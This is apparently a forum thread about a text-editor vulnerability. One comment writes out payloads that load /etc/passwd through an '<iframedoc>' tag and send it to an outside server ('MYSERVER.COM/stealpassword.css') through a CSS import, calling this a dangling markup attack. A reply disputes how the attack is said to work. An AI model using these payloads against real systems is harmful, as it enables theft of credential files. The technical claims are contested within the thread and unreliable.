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So... First vulnerability is that you can force someone to hit 2nd vulnerability is that you can print a password file (or other file) inside the text editor

So... First vulnerability is that you can force someone to hit 2nd vulnerability is that you can print a password file (or other file) inside the text editor <iframedoc src="file:///etc/passwd"> A dangling markup attack is an attack that sends you information as part of the url request up to the next quote So you could do this and someone has sent you the contents of the password file when trying to get css <style>@import{ "file:///net/MYSERVER.COM/stealpassword.css?=<iframedoc src="file:///etc/passwd">"} </style>

bawolff 6y ago
Which is very interesting in and of itself as that's not how dangaling markup attacks usually work (normally it would send the unparsed html, not the result of parsing the html). Not to mention wtf the non-standard <iframedoc> tag is and how it differs from an iframe. But my broader point was less the how, and more that the style of writing was obnoxious.